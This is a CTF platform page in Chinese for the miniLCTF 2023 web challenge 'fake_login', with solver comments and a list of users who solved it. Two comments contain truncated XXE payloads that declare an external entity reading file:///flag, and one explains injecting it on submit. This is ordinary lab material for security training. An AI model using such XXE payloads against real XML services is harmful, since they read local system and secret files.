fake_loginWEB 未解决

分数: 0 金币: 0
所属赛事: miniLCTF 2023
题目作者: 未知
一  血: dai
一血奖励: 0金币
解  决: 52
提  示:
描  述:
flag{}
评论
MRLD 2年前

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE user [ <!ELEMENT name ANY > <!ENTITY admin SYSTEM "file:///flag" >]> <user><userna

回复 0

MRLD 2年前

真得出生出题人,假flag是真的,闲的这样搞

回复 0

gooddemo 2年前

这个是xxe漏洞,所以在点击提交按钮时,修改Payload,内容如下:<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///flag">]> <user><use

回复 0

hopeinhand 2年前

找半天结果假flag是真的,很迷惑

回复 0

WriteUp

image
hopeinhand

1 金币

评分(0)

暂无评分

解题动态

hdcc1 攻破了该题 5天前
bugbiubiubiu 攻破了该题 9天前
Dxmax 攻破了该题 24天前
tjcu 攻破了该题 1月前
dddddddwww 攻破了该题 1月前
xiaodou 攻破了该题 1月前
caixinggang 攻破了该题 1月前
i8vkmmju 攻破了该题 1月前
jibabenba 攻破了该题 1月前
RobinHar 攻破了该题 1月前
LiEasy 攻破了该题 2月前
Ahri 攻破了该题 4月前
xyjwkg 攻破了该题 4月前
digger 攻破了该题 4月前
2003792 攻破了该题 4月前
un 攻破了该题 6月前
smtall 攻破了该题 6月前
edadsadw 攻破了该题 6月前
Zpfhh 攻破了该题 8月前
1424661428 攻破了该题 8月前
问题反馈